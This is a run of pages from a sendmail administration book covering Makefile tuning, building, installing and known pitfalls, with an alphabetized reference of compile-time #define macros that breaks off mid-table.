Note that, once excluded, support cannot easily be included later by using options. But it may be better to turn some facilities, such as identd(8), off and on with options rather than compiling them out (see Section 34.8.70.10, "Timeout.ident" for a description of the TimeOut.ident option). In Table 18.3 (see Section 18.8) the third column indicates whether it is appropriate to redefine a particular macro in your Makefile. Where appropriate, most will be defined with this ENVDEF= directive.

The ENVDEF= directive can also be used to define operating specific support. For example,

ENVDEF= -DSOLARIS=20501

Here, support for Sun's Solaris 2.5.1 operating system is being included. In general, operating support is already included in the Makefile selected for your system. You will have only to redefine this if you are porting to a completely new operating system.

18.4.3 INCDIRS=

The INCDIRS= directive defines the directories searched (using the compiler's -I switch) for #include files. In general this will be empty unless you are using libraries that are not normally used. For example, you may have installed the db(3) library in /usr/local/lib and its corresponding include files in /usr/local/include/db. In this case you would define

INCDIRS=-I/usr/local/include/db
LIBDIRS=-L/usr/local/lib/

The -I will be passed to the C compiler. The -L will be passed to the loader.

Many Makefiles specify /usr/sww in these lines. If you don't need local include files or libraries, you can leave the /usr/sww in place without harm. [7]

[7] The sww stands for SoftWare Warehouse. This scheme was used at U.C. Berkeley as a large centrally maintained /usr/local partition.

18.4.4 LDOPTS=

The LDOPTS= directive defines operating system-specific loader options. For example, on SunOS machines the following is recommended:

LDOPTS=      -Bstatic

This tells the loader to exclude dynamic library support for better security.

18.4.5 LIBDIRS=

The LIBDIRS= directive defines the directories searched (using the loader's -L switch). The libraries in these directories are searched before the standard system libraries. An example of its use is given in Section 18.4.3 above.

18.4.6 LIBS=

The LIBS= directive lists additional libraries by name (using the loader's -l switch) to link against. All Makefile files have a default for this line. The one for Ultrix looks like this:

LIBS=   -ldb -lresolv -l44bsd

It is likely that you will have to add or change libraries in this list depending on your architecture and operating system. To discover which you need, run make(1) (see the next section) and observe which routines the linker reports as missing. The -l44bsd is required only if you are using Paul Vixie's version of -lresolv as supplied with BIND 4.9.

18.4.7 BINDIR=

The BINDIR= directive defines the location (directory) where the sendmail binary will be installed. It is very unlikely that you will ever have to change this from the value predefined for you in your Makefile. One exception might be if you are installing a new sendmail in parallel with the existing one. In that instance you might use

BINDIR=/usr/tests
STDIR=/usr/tests
HFDIR=/usr/tests
ENVDEF= -D_PATH_SENDMAILCF=/usr/tests/sendmail.cf \
        -D_PATH_SENDMAILPID=/usr/tests/sendmail.pid

The STDIR= and HFDIR= are described below. The ENVDEF= tells sendmail where its configuration and pid files will be found (see Section 18.8.34, PATH...).

18.4.8 STDIR=

The STDIR= directive defines the location (directory) where the sendmail program's statistics file will be found (see Section 26.2.1, "The sendmail.st File" for a description of this file). It is very unlikely that you will ever have to change this from the value that is predefined for you in your Makefile.

18.4.9 HFDIR=

The HFDIR= directive defines the location (directory) where the sendmail program's SMTP-help file will be found (see Section 34.8.28, HelpFile (H) for a description of the HelpFile option and this file). It is very unlikely that you will ever have to change this from the value that is predefined for you in your Makefile.

18.4.10 OBJADD=

The OBJADD= directive defines additional object files that need to be included in the sendmail program. It is very unlikely that you will ever have to change this from the value that is predefined for you in your Makefile. One exception might be if you need to replace a standard C library function with one that was customized to satisfy some local need. For example, consider a replacement for the syslog(3) routine. First place a copy of syslog.c in the src directory. Then run:

% makesendmail -n

which will create an obj.* directory and populate it with symbolic links. [8] Finally, edit your Makefile and syslog.o to the OBJADD= directive:

[8] If you have already run makesendmail, running it again will not create the link. Instead, you will need to soft-link it by hand yourself.

OBJADD=syslog.o

This will cause the syslog.c file to be compiled to produce the needed syslog.o and will cause that syslog.o to be linked in with the sendmail binary.

Previous: 18.3 Obtain the Source | sendmail | Next: 18.5 Run Make
18.3 Obtain the Source | Book Index | 18.5 Run Make


[Chapter 18] 18.5 Run Make

sendmailSearch this book
Previous: 18.4 Tuning Makefile Chapter 18
Compile and Install sendmail 		Next: 18.6 Install sendmail

18.5 Run Make

After you have finished tuning Makefile, you are ready to build sendmail. First (especially if you are building as root), back up in the src directory run:

# ./makesendmail -n

This displays all the commands that make will generate without actually executing them. If all looks well, run makesendmail again, this time without the -n.

18.5.1 Use libresolv.a

If, when you compiled sendmail, the linker reported _res_* routines as missing, you need to specify the resolver library with -lresolv:

LDADD=  -ldbm -lcompat -lutil -lkvm -lresolv

This shows one way to include that library with the V8 Makefile. Another way might look like this:

# libraries required on your system
LIBS=   /usr/local/lib/libresolv.a

To ensure that sendmail achieves its optimum use of lookups, make sure that your resolver library is derived from the latest BIND release: BIND 4.9. [9] You will also need to include -l44bsd on the LIBS= line if you are running BIND 4.9.

[9] 4.8.3 is also good. 4.9 is available via anonymous FTP from ftp.vix.com.

The tricky part is finding out which resolver library your system supports. With SunOS systems, for example, resolver support in the standard C library uses nis for name resolution. Although this setup may be good for most applications, it is inappropriate for sendmail. There is a libresolv.a, but it is based on BIND 4.3 and so should probably be replaced with a newer version.

If your resolver library is not the correct one, you need to compile and install the newest version. You should do this even if it is used only by sendmail.

18.5.2 Remove -l44bsd

If you are running an old (pre V4.9) resolver library, you will see an error like the following during the loading part of your build:

ld: -l44bsd: No such file or directory

One solution is to upgrade to BIND 4.9, which will install the lib44bsd.a library (we recommend this). Another solution is to remove -l44bsd from the LIBS line in your Makefile.

18.5.3 Badly defined sys_errlist

Some systems define sys_errlist differently than sendmail. On such systems you may see a spurious warning about sys_errlist being redefined.

In general you should never get this error. But if you are building sendmail on a system that is similar to, but not identical to, one already supported, you may see such a warning. See Section 18.8.6, ERRLIST-PREDEFINED for a description of how to use ERRLIST_PREDEFINED to fix the problem, should it occur.

Previous: 18.4 Tuning Makefile | sendmail | Next: 18.6 Install sendmail
18.4 Tuning Makefile | Book Index | 18.6 Install sendmail


[Chapter 18] 18.6 Install sendmail

sendmailSearch this book
Previous: 18.5 Run Make Chapter 18
Compile and Install sendmail 		Next: 18.7 Pitfalls

18.6 Install sendmail

There are two approaches to installing a new sendmail:

  • If you choose to run the new sendmail in place of the original, you first need to create and install a new configuration file. The m4(1) program is used to automate the process of configuration file creation. See Chapter 19, V8 m4 Configuration, for a full description of this process.

  • If you choose to keep the original and install the new sendmail in parallel (until you can trust it), you may proceed with the installation and defer configuration files until later. Note that this choice presumes that you customized the file locations.

After you have compiled sendmail (and if the configuration file is ready and tested), you can install it as your production version. If you are already running a sendmail and will be overwriting that binary, you will need to kill that version first (see Chapter 4, How to Run sendmail).

To install sendmail, first type

# ./makesendmail -n install

You use -n to be sure that the installation caused by the Makefile is in fact correct for your site. A typical such run, for example, might look like this:

install -o root -g kmem -m 6555 sendmail /usr/lib
for i in /usr/ucb/newaliases /usr/ucb/mailq; do rm -f $i; \
    ln -s /usr/lib/sendmail $i;
done
install -c -o root -g kmem -m 644 /dev/null \
    /etc/sendmail.st
install -c -o root -g kmem -m 444 sendmail.hf /usr/lib

Notice that Makefile will not create the queue directory even if it does not exist. If you have never run sendmail on your machine before, you will need to create that queue directory:

# mkdir /var/spool/mqueue
# chmod 700 /var/spool/mqueue

See Section 34.8.48, QueueDirectory (Q) for a description of the QueueDirectory option and information about how sendmail locates its queue directory.

If all looks good, you can install sendmail with this command:

# ./makesendmail install

But be aware that the new sendmail may not work properly with your old configuration file. See Chapter 19 for guidance in creating configuration files.

Previous: 18.5 Run Make | sendmail | Next: 18.7 Pitfalls
18.5 Run Make | Book Index | 18.7 Pitfalls


[Chapter 18] 18.7 Pitfalls

sendmailSearch this book
Previous: 18.6 Install sendmail Chapter 18
Compile and Install sendmail 		Next: 18.8 Alphabetized Reference

18.7 Pitfalls

  • Before replacing your current sendmail with a new version, be sure that the queue is empty. The new version may not be able to properly process old (or different) style queued files. [10] After running the new sendmail for the first time, look in the queue directory for filenames that start with an uppercase Q. See Section 23.3, "A Bogus qf File (V8 only): Qf" for a description of why these files appear and what to do about them.

    [10] V8 sendmail can read old queue files but may be unable to read some vendor queue files. If this is a problem, you may have to run the old and new versions in parallel (with separate queue directories) until the old queue has been emptied.

  • If you change the location of the queue to a different disk, be sure that disk is mounted (in /etc/rc) before the sendmail daemon is started. If sendmail starts first, there is a risk that messages will be queued in the mount point before the disk is mounted. This will result in mysteriously vanishing mail.

  • Always save the old sendmail and configuration file. The new version may work fine for a while, then suddenly fail. If the failure is difficult to diagnose, you may need to run the old version while you fix the new version. But beware that the old version may not be able to read the queue files created by the new version.

  • Some operating systems allow disks to be mounted such that suid permissions are disallowed. If you relocate sendmail, avoid locating it on such a disk.

  • Don't be mistaken in the belief that nis will correctly give you MX for hosts. If, after compiling and installing sendmail, you find that you cannot send mail to hosts using MX records, you should recompile with NAMED_BIND defined (see Section 18.8.23, NAMED-BIND). Also note that a misconfigured service-switch file can also prevent proper MX lookups (see Section 34.8.61, ServiceSwitchFile).

Previous: 18.6 Install sendmail | sendmail | Next: 18.8 Alphabetized Reference
18.6 Install sendmail | Book Index | 18.8 Alphabetized Reference


[Chapter 18] 18.8 Alphabetized Reference

sendmailSearch this book
Previous: 18.7 Pitfalls Chapter 18
Compile and Install sendmail 		Next: 19. V8 m4 Configuration

18.8 Alphabetized Reference

In this section we present each #define macro (or group of them) in alphabetical order rather than in the order in which they appear in your Makefile.

Note that the Tune column of Table 18.3 recommends whether or not you should adjust (tune) the values for any particular #define. Those marked tune may be adjusted from within your Makefile. Those marked with port should be changed only in the rare event that you need to port sendmail to a new operating system. [11] Those marked with debug should only be defined during porting to help debug the new binary but (for security reasons) should never be defined for the final production version.

[11] But note that final porting should be done in conf.h and conf.c instead of Makefile.

Also note that the -d column shows which debugging switches can be used to determine whether the corresponding macro was defined when a sendmail binary was compiled (see Section 37.5.1, -d0.1 for a description of this process).

Table 18.3: #define Macros for Compiling sendmail
#define |  | Tune | -d | Description
AUTO_NIS_ALIASES | Section 18.8.1 | Tune |  | Add fallback alias techniques
BROKEN_RES_SEARCH | Section 18.8.2, BROKEN-RES-SEARCH | Port |  | Broken resolver fix (e.g. Ultrix)
BSD4_3 | Section 18.8.3, BSD4-3 | Port |  | Use BSD 4.3 style signal handling
BSD4_4 | Section 18.8.4, BSD4-4 | Port |  | Compile for BSD 4.4 UNIX
DSN | Section 18.8.5, DSN | Tune |  | Support Delivery Status Notification
ERRLIST_PREDEFINED | Section 18.8.6 | Port |  | Correct type conflicts on sys_errlist
_FFR_... | Section 18.8.7, -FFR-... | Debug |  | For Future Release
FORK | Section 18.8.8, FORK | Port |  | The type of fork(5) to use
HAS... | Section 18.8.9, HAS... | Port | 0.10 | Has specific system call support
HESIOD | Section 18.8.10 | Tune | 0.1 | Support hesiod database maps
HES_GETMAILHOST | Section 18.8.11, HES-GETMAILHOST | Tune | 0.1 | Use hesiod hes_getmailhost(3)
IDENTPROTO | Section 18.8.12, IDENTPROTO | Port | 0.10 | See Timeout.ident (Section 34.8.70.10)
IP_SRCROUTE | Section 18.8.13, IP-SRCROUTE | Port | 0.10 | Add IP source-routing to $_
LA_TYPE | Section 18.8.14, LA-TYPE | Port | 3.5 | Define your load-average support
LDAPMAP | Section 18.8.15 | Tune | 0.1 | Enable use of ldap databases
LOG | Section 18.8.16, LOG | Tune | 0.1 | Perform logging
LOTUS_NOTES_HACK | Section 18.8.17, LOTUS-NOTES-HACK | V8.7.5 |  | Strip newlines from From: headers
MATCHGECOS | Section 18.8.18, MATCHGECOS | Tune | 0.1 | Support for fuzzy name matching
MAX... | Section 18.8.19, MAX... | Tune |  | Redefine maximums
MEMCHUNKSIZE | Section 18.8.20, MEMCHUNKSIZE | Tune |  | Specify memory allocation size
MIME7TO8 | Section 18.8.21, MIME7TO8 | Tune | 0.1 | Support MIME 7- to 8-bit conversion
MIME8TO7 | Section 18.8.22, MIME8TO7 | Tune | 0.1 | Support MIME 8- to 7-bit conversion
NAMED_BIND | Section 18.8.23 | Tune | 0.1 | Support DNS name resolution
NDBM | Section 18.8.24 | Tune | 0.1 | Support UNIX ndbm(3) Databases
NEED... | Section 18.8.25, NEED... | Port |  | Something amiss with your OS?
NET... | Section 18.8.26, NET... | Tune | 0.1 | Select network type
NETINFO | Section 18.8.27 | Tune | 0.1 | Support NeXT netinfo(3) databases
NEWDB | Section 18.8.28 | Tune | 0.1 | Support Berkeley db(3) Databases
NIS | Section 18.8.29 | Tune | 0.1 | Support nis maps
NISPLUS | Section 18.8.30 | Tune | 0.1 | Support nis+ maps
NO_GROUP_SET | Section 18.8.31, NO-GROUP-SET | Port |  | Prevent multi-group file access
NOTUNIX | Section 18.8.32, NOTUNIX | Port | 30.2 | Exclude From line support
OLD_NEWDB | Section 18.8.33 | Port | 0.1 | Support the old form of db(3)
_PATH... | Section 18.8.34 | Debug |  | Hard-code paths inside sendmail
PICKY... | Section 18.8.35, PICKY... | Tune |  | Make a pickier sendmail
PSBUFSIZE | Section 18.8.36, PSBUFSIZ | Tune |  | Size of prescan() buffer
QUEUE | Section 18.8.37, QUEUE | Tune |  | Enable queueing
QUEUESEGSIZE | Section 18.8.38, QUEUESEGSIZE | Tune |  | Amount to grow queue work list
SCANF | Section 18.8.39, SCANF | Tune | 0.10 | Support scanf(3) with F command
SFS_TYPE | Section 18.8.40, SFS-TYPE | Port |  | How to determine free disk space
SMTP | Section 18.8.41, SMTP | Tune |  | Enable SMTP
SMTPDEBUG | Section 18.8.42, SMTPDEBUG | Debug |  | Enable remote debugging
SMTPLINELIM | Section 18.8.43, SMTPLINELIM | n/a |  | Default for obsolete F=L flag
SOLARIS | Section 18.8.44, SOLARIS | Port |  | Support Sun's Solaris 2.x
SPT_TYPE | Section 18.8.45, SPT-TYPE | Port |  | Adapt/exclude process title support
SUID_ROOT_FILES_OK | Section 18.8.46, SUID-ROOT-FILES-OK | Debug | 0.1 | Allow root delivery to files
SYSLOG_BUFSIZE | Section 18.8.47, SYSLOG-BUFSIZE | Port |  | Limit syslog(3) buffer size
SYSTEM5 | Section 18.8.48, SYSTEM5 | Port | 0.10 | Support SysV derived machines
SYS5SIGNALS | Section 18.8.48 | Port | 0.10 | Use SysV style signals
TCPWRAPPERS | Section 18.8.49, TCPWRAPPERS | Tune | 0.1 | Use libwrap.a for connects
TOBUFSIZE | Section 18.8.50, TOBUFSIZE | Tune |  | Set buffer for recipient list
TRUST_POPEN | Section 18.8.51, TRUST-POPEN | Debug |  | Allow use of popen(3)
TTYNAME | Section 18.8.52, TTYNAME | Debug | 35.9 | Set $y to tty name (obsolete)
UDB_DEFAULT_SPEC | Section 18.8.53 | Tune |  | Default User Database location
USERDB | Section 18.8.54 | Tune | 0.1 | Support the User Database
USESETEUID | Section 18.8.55, USESETEUID | Port | 0.10 | Support seteuid(2) identity changes
WILDCARD_SHELL | Section 18.8.56, WILDCARD-SHELL | Debug |  | Redefine wildcard shell
XDEBUG | Section 18.8.57, XDEBUG | Debug | 0.1 | Support sanity checks

18.8.1 AUTO-NIS-ALIASES

Add fallback alias techniques

(tune with DBMDEF= in Makefile)

Ordinarily, sendmail will first look for a service-switch (see Section 34.8.61) to see how it should look up its aliases. If it finds one, and if the service aliases is listed, it uses the techniques listed with the service-switch to look up its aliases. In the absence of a service-switch, or if the service-switch could not be opened, sendmail's fallback position is to use the technique called files to look up its aliases.

This AUTO_NIS_ALIASES definition, when specified during compilation, also causes sendmail to automatically add the technique nis if NIS was defined or nis+ if NISPLUS was defined:

DBMDEF= -DNIS -DAUTO_NIS_ALIASES
DBMDEF= -DNISPLUS -DAUTO_NIS_ALIASES

The first line causes the fallback list of techniques to become files then nis, and the second causes it to become files then nisplus. Note that AUTO_NIS_ALIASES is not defined in any Makefile distributed with sendmail.

18.8.2 BROKEN-RES-SEARCH

Broken resolver fix (e.g. Ultrix)

(port, edit conf.h)

On Ultrix, and possibly other systems, the res_search(2) routine incorrectly sets h_errno to 0 instead of HOST_NOT_FOUND if a host name is unknown. On such systems you can define BROKEN_RES_SEARCH in your Makefile, which tells sendmail to consider 0 the same as HOST_NOT_FOUND:

ENVDEF= -DBROKEN_RES_SEARCH

As distributed, this is not declared for any of the supplied Makefile files. If you are running Ultrix you should test your resolver library. If it fails, you should upgrade to the latest resolver library. If, for some reason, upgrading is not possible, you may define this as a workaround. When porting to a new system, you can test with the above ENVDEF= statement and, if successful, put a permanent porting entry into conf.h.

18.8.3 BSD4-3

Use old style signal handling

(port, edit conf.h)

Old BSD-based versions of UNIX, such as SunOS 4.0.x and BSD 4.3, used the signal(2) and sigsetmask(2) calls to set and release signals. Modern versions of UNIX use the sigaction(2) and sigprocmask(2) pair of routines. For all currently supported systems, BSD4_3 is already correctly defined in src/Makefiles or in conf.h. You should need to define BSD4_3 only if you are porting to a previously unsupported old BSD-based system:

ENVDEF= -DBSD4_3

When porting to a new system, you can test with the above ENVDEF= statement and, if successful, put a permanent porting entry into conf.h.

18.8.4 BSD4-4

Compile for BSD 4.4 Unix

(port, edit conf.h)

BSD4_4 will automatically be defined when sendmail is built under the BSD 4.4 release of UNIX. You will need to redefine this only if you are porting to a new operating system that is based on BSD 4.4.

18.8.5 DSN

Support Delivery Status Notification

(tune with ENVDEF= in Makefile)

Delivery Status Notification (DSN) replaces certain SMTP error codes and the Return-Receipt-To: header (Section 35.10.29, Return-Receipt-To:) as a means of handling multiple delivery status requests and problems. DSN is an improvement over earlier mechanisms for returning delivery status information. It can, for example, supply different status information for each recipient when multiple recipients are specified. It can also be used to generate return receipts on a per recipient basis. DSN status is returned in the MIME encapsulated portion of a mail message's body.

DSN is defined in RFC1891, RFC1892, RFC1893, and RFC1894. If you wish to exclude DSN support (not recommended), you may turn it off like this:

ENVDEF=  -DDSN=0

      turn off DSN support

MIME is described under the EightBitMode (8) option (see Section 34.8.22, EightBitMode (8)).

18.8.6 ERRLIST-PREDEFINED

Correct conflicts on sys-errlist

(port, edit conf.h)

Some systems define a type for sys_errlist[] that differs from the internal declaration made by sendmail. In such instances you will get a warning about sys_errlist being redefined when you compile. Such warnings are usually harmless, but they are unattractive. To eliminate them, add the following to your Makefile:

ENVDEF= -DERRLIST_PREDEFINED

When porting to a new system, you can test with the above ENVDEF= statement and, if successful, put a permanent porting entry into conf.h.

18.8.7 -FFR-...

For Future Release

(debug with ENVDEF= in Makefile)

Most releases of sendmail contain, within the C language code, sections that are commented out. These are initial stabs at solutions that either did not work as is, are incomplete or untested, or are dreams for the future.

If you have a good reason and thoroughly understand the code and why it is excluded (and if you are brave), you may include it by adding an appropriate _FFR_ (For Future Release) definition to ENVDEF= in Makefile:

ENVDEF= -D_FFR_what

Here, what describes the appropriate future item that you want to include (as found in the source). We categorize this as a debugging technique (not a porting or tuning one) because you may want to include future code for testing, but should probably not include it in your production version.

18.8.8 FORK

The type of fork to use

(port, edit conf.h)

The sendmail program forks often to do its job in the most efficient way possible. Prior to V8.8, sendmail used vfork(2) whenever possible. Beginning with V8.8, sendmail now defaults to fork(2). [12] You should have to redefine FORK only when porting to a new system or when you are certain that vfork(2) is indeed faster on your system and is reliable.

[12] Bugs in the interaction between NIS and vfork(2) at the system level with Solaris and systems that lacked vfork(2) altogether, such as IRIX, caused V8.8 to favor fork(2). This is really okay because in modern systems, fork(2) is just as fast as vfork(2).

ENVDEF= -DFORK=vfork

You can test with the above ENVDEF= statement and, if successful, put a permanent porting entry into conf.h.

18.8.9 HAS...

Has specific system call support

(port, edit conf.h)

Macros that begin with HAS tell sendmail whether or not your system supports (has) certain system-library routines. In general, you should need to define or undefine the macros shown in Table 18.4 only if you are porting sendmail to a new system. In that instance you should also read src/READ_ME for the latest information and pitfalls.

Each of these is turned on or off with an assignment of 1 or 0:

ENVDEF=  -DHASSETSID=1        <-  turn on
ENVDEF=  -DHASSETSID=0        <-  turn off

Turning on tells sendmail that your site has support for this system call (setsid(2) in this instance). Turning off tells sendmail to work around the lack of that support. When porting to a new system, you can test with one of the above ENVDEF= statements and, if successful, put a permanent porting entry into conf.h.

These have probably been correctly defined for your system already. Therefore you should need to change them only when porting sendmail to a completely new system.

Table 18.4: HAS... #defines for Specific System Call Support
#define | System Call
HASFCHMOD | fchmod(2)
HASFLOCK | flock(2)
HASGETDTABLESIZE | getdtablesize(2)
HASGETUSERSHELL | getusershell(3)
HASINITGROUPS | initgroups(3)
HASLSTAT | lstat(2)
HASSETREUID | setreuid(2)
HASSETRLIMIT | setrlimit(2)
HASSETSID | setsid(2)
HASSETUSERCONTEXT | setusercontext(3)
HASSETVBUF | setvbuf(3)
HASSIGSETMASK | sigsetmask(2)
HASSNPRINTF | snprintf(3) and vsnprintf(3)
HASULIMIT | ulimit(2)
HASUNAME | uname(2)
HASUNSETENV | unsetenv(3)
HASWAITPID | waitpid(2)

If you are running a precompiled binary of sendmail, you can determine whether any of these were defined when sendmail was compiled by using the -d0.10 debugging switch (see Section 37.5.3, -d0.10).

18.8.10 HESIOD

Support hesiod database maps

(tune with DBMDEF= in Makefile)

Named after the 8th century B.C.E. [13] Greek poet Hesiod, the hesiod system is a network information system developed as Project Athena. Information that is shared among many machines on a network can be accessed by each machine using a common set of library routines. Files that are commonly represented in this form are the passwd(4) and aliases(4) files used by sendmail. The hesiod system is patterned after the Internet Domain Naming System and uses modified BIND source:

[13] Before Christian Era, although an alternative proposal that is making the rounds calls for signed years, thus the -8th century.

DBMDEF= -DHESIOD

If HESIOD is defined when sendmail is built, support is included to look up aliases and user information via the hesiod interface. Support is also included to declare and use hesiod class maps (see Section 33.3.2, "The class") with the K configuration command. Support is also included for the User Database if USERDB is also defined.

Hesiod documentation and source are available from:

ftp://athena-dist.mit.edu/pub/ATHENA

If you are running a precompiled sendmail binary, you may use the -d0.1 switch (see Section 37.5.1) to determine whether HESIOD support is included.

18.8.11 HES-GETMAILHOST

Use hesiod hes-getmailhost()

(tune with ENVDEF= in Makefile)

The MIT distribution of hesiod supports the hes_getmailhost(3) call for looking up a user's postoffice. If your site is running MIT's hesiod, you should define this. If your are running DEC's hesiod, you should not.

ENVDEF= -DHES_GETMAILHOST

HES_GETMAILHOST is by default not defined. If you need it, you must define it in your Makefile. If you are running a precompiled version of sendmail, you may use the -d0.1 debugging switch (see Section 37.5.1) to determine whether HES_GETMAILHOST has been included. The -d28.8 (see Section 37.5.100, -d28.8) debugging flag can be used to trace the behavior of the hes_getmailhost(3) routine.

18.8.12 IDENTPROTO

See Timeout.ident in Section 34.8.70.10

(port)

Defining out IDENTPROTO neither includes nor excludes RFC1413 code. All it does is change the default value for the Timeout.ident option (see Section 34.8.70.10):

ENVDEF= -DIDENTPROTO=0            <-  set Timeout.ident=0 by default
ENVDEF= -DIDENTPROTO=1            <-  set Timeout.ident=30 by default

If you are running a precompiled sendmail binary, you may use the -d0.10 switch (see Section 37.5.3) to determine whether IDENTPROTO was defined as nonzero.

18.8.13 IP-SRCROUTE

Add IP source-routing to $-

(port, edit conf.h)

Mail is normally transported over networks with TCP/IP. At the IP layer, packets are usually constructed to be point-to-point - from one host to another. IP packets can also be constructed to contain source-routing information - from one host, through a second, then to a final host.

Although such source routing (when used) is generally legitimate, it can also be used to generate fraudulent mail. V8.7 sendmail attempts to extract source-routing information from the initial connection's IP information. If any is found, sendmail adds that information to the $_ macro (see Section 31.10.1, $-) for use in the Received: header (see Section 35.10.25, Received:). The $_ macro is usually used like this:

Received: from $s ($_) ...

where $_ will contain information like that shown below when IP source-routing information is found:

       IP source-routing information
                     -v
user@host.domain [!@hostC@hostB:hostA]

RFC1413 identd information

IP source-routing information is presented inside square brackets. If routing is strict, the information is prefixed with an exclamation mark. The format of the information is made to resemble that of source-route addressing (see the DontPruneRoutes option, Section 34.8.20, DontPruneRoutes (R)). In this example the IP packets will go first to hostC, then to hostB, and finally to hostA.

The inclusion of code to support this reporting is determined by the IP_SRCROUTE definition in your Makefile. It is predefined correctly for all supported systems in conf.h, so you should need to redefine it only if you are porting sendmail to a completely new system. Be sure to read src/READ_ME for the latest information about IP_SRCROUTE.

If you are running a precompiled sendmail binary, you may use the -d0.10 switch (see Section 37.5.3) to determine whether IP_SRCROUTE support was included.

18.8.14 LA-TYPE

Define your load-average support

(port, edit conf.h)

The load average is the average number of blocked processes (processes that are runnable but not able to run because of a lack of resources) over the last minute. The sendmail program can vary its behavior appropriately as the load average changes. Thresholds for change are defined by the options shown in Table 34.9 (see Section 34.6.4, "Controlling Machine Load").

The method that is used to get the current load average from the operating system varies widely. This LA_TYPE definition determines which method to use. It is correctly defined inside conf.h for all currently supported operating systems. Porting sendmail to a new system may require that you define LA_TYPE yourself. The possible values and their meanings are shown in Table 18.5.

Table 18.5: LA_ Methods for Getting the Load Average
LA_ | Does What
LA_ZERO | Always returns 0. Essentially disables load average checking. This is portable to all systems.
LA_INT | Read /dev/kmem for the symbol avenrun. If found, interpret the result as a native (usually long) integer.
LA_FLOAT | Read /dev/kmem for the symbol avenrun. If found, interpret the result as a floating-point value.
LA_SHORT | Read /dev/kmem for the symbol avenrun. If found, interpret the result as a short integer.
LA_SUBR | Call the library routine getloadavg(3) and use the result returned.
LA_MACH | Call the MACH-specific processor_set_info(2) routine and use the result returned.
LA_PROCSTR | Read the Linux-specific /proc/loadavg file and interpret the result as a floating-point value.
LA_READKSYM | Use the (some SysV versions) ioctl of MIOC_READKSYM to read /dev/kmem.
LA_DGUX | DG/UX specific support for using the pstat_getdynamic(2)function to read the load average.

The LA_INT, LA_SHORT, LA_FLOAT, and LA_READKSYM settings require additional tuning. For these, three additional definitions are used as shown in Table 18.6.

Table 18.6: Tuning for LA_INT, LA_SHORT, LA_FLOAT, and LA_READKSYM
#define | Tunes
FSHIFT | Number of bits to shift right when using LA_INT, LA_SHORT, and LA_READKSYM. Default is 8.
_PATH_UNIX

The pathname of your kernel. This is required for LA_INT and LA_SHORT. Default is /unix for SysV; /hp_ux for HP/UX V9; /stand/unix for HP/UX V10, News, and UXP/OS; /dev/ksyms for Solaris; /dynix for DYNIX; otherwise /vmunix.

_PATH_KMEM | The pathname of your kernel memory. This is required for LA_INT, LA_SHORT, LA_FLOAT, and LA_READKSYM. Default is /dev/kmem.
LA_AVENRUN | The name of the kernel variable that holds the load average. Used by LA_INT, LA_SHORT, and LA_FLOAT. Default is averun for SysV, otherwise _averun.
NAMELISTMASK | The mask to bitwise-AND against the return value of nlist(3). If this is undefined, the return value is used as is. A common value is 0x7fffffff to strip off the high bit.

18.8.15 LDAPMAP

Enable use of ldap databases

(tune with DBMDEF= in Makefile)

LDAP stands for Lightweight Directory Access Protocol. LDAP provides lightweight access to the X.500 directory and is defined in RFC1777 and RFC1778.

The software and documentation for LDAP is available from

ftp://terminator.rs.itd.umich.edu/ldap/

It is used by defining a map class called ldapx (see Section 33.8.9, ldapx) in your configuration file. Its use is enabled by defining LDAPMAP at compile time:

DBMDEF=LDAPMAP

18.8.16 LOG

Perform logging

(port, edit conf.h)

If defined, LOG enables sendmail to use the syslog(3) facility to log error messages and other useful information that is often important for security and debugging. Logging and syslog(3) are described in Chapter 26, Logging and Statistics. Defining LOG should be considered mandatory, and it should be turned off only if you have a well-thought-out reason for doing so. LOG cannot be turned off in the Makefile. Instead, you must edit conf.h directly and undefine it by commenting it out:

/* # define LOG                 /* enable logging - don't turn off */

comment out to remove support

LOG requires that your system support syslog(3). If you lack syslog(3), consider porting it to your system.

Defining LOG is meaningless unless the LogLevel (L) option (see Section 34.8.33, LogLevel (L)) is also nonzero. Fortunately, this is usually the case because the default is 9.

See also SYSLOG_BUFSIZE for a way to tune syslog(3)'s buffer size if necessary.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether LOG support was included (see Section 37.5.1).

18.8.17 LOTUS-NOTES-HACK

Strip newlines from From: header

(V8.7.2 through V8.7.5 only)

The Lotus Notes mail-gateway SMTP software can produce sender header lines that contain newlines when the username part becomes too long:

From: Long Full Name/LongSite/Country
  <user@site.domain>

Although perfectly legal under RFC822, such split sender headers can cause MUAs to fail in ways that are difficult to diagnose. If your site receives mail from Lotus Notes gateways, you should define LOTUS_NOTES_HACK when compiling sendmail:

ENVDEF= -DLOTUS_NOTES_HACK

Defining LOTUS_NOTES_HACK causes sendmail to include code in support of the SingleLineFromHeader option (see Section 34.8.63, SingleLineFromHeader). Setting that option to true causes the newlines in the above address to be stripped and produces a single line:

From: Long Full Name/LongSite/Country <user@site.domain>

If you are running a precompiled sendmail binary, you can define SingleLineFromHeader in your configuration file. If you don't get a warning about a bad option name, then you have this support. Note that under V8.8 sendmail, LOTUS_NOTES_HACK is no longer required for SingleLineFromHeader support.

18.8.18 MATCHGECOS

Support fuzzy name matching

(tune with ENVDEF= in Makefile)

Defining MATCHGECOS causes code to be included inside sendmail for support of limited fuzzy name matching. This process is described under the MatchGECOS (G) option (see Section 34.8.34, MatchGECOS (G)). MATCHGECOS is normally defined by default. If you want to turn it off, use ENVDEF= in Makefile:

ENVDEF= -DMATCHGECOS=0

If you are running a vendor-supplied binary, you can check to see whether MATCHGECOS was defined by using the -d0.1 debugging switch (see Section 37.5.1).

18.8.19 MAX...

Redefine maximums

(port, edit specific files)

In porting sendmail to a new system or tuning sendmail for special needs, it may be necessary to adjust one of its defined maximums. These cannot be tuned in Makefile. Instead, each needs to be changed in the file indicated by the third column of Table 18.7. In general, maximums should never be lowered without first examining the code for possible side effects; also, review the code to see whether any minimums are required or whether there are warnings about maximums.

Table 18.7: MAX... #defines to Redefine Maximums
#define | Default | File | Maximum
MAXALIASDB | 12 | conf.h | Number of alias databases
MAXATOM | 200 | conf.h | Atoms (tokens) in an address
MAXDNSRCH | 6 | domain.c | Possible domains to search
MAXHOSTNAMELEN | 256 | conf.h | Length of a hostname
MAXKEY | 128 | conf.h | Length of a database key
MAXLINE | 2048 | conf.h | Length of an input line
MAXMAILERS | 25 | conf.h | Number of delivery agents
MAXMAPSTACK | 12 | conf.h | Size of sequenced map stack
MAXMIMEARGS | 20 | conf.h | Arguments per Content-Type: header
MAXMXHOSTS | 100 | conf.h | Number of per host MX records
MAXMIMENESTING | 20 | conf.h | Multipart MIME nesting depth
MAXNAME | 256 | conf.h | Length of a name
MAXPRIORITIES | 25 | conf.h | Number of Priority lines
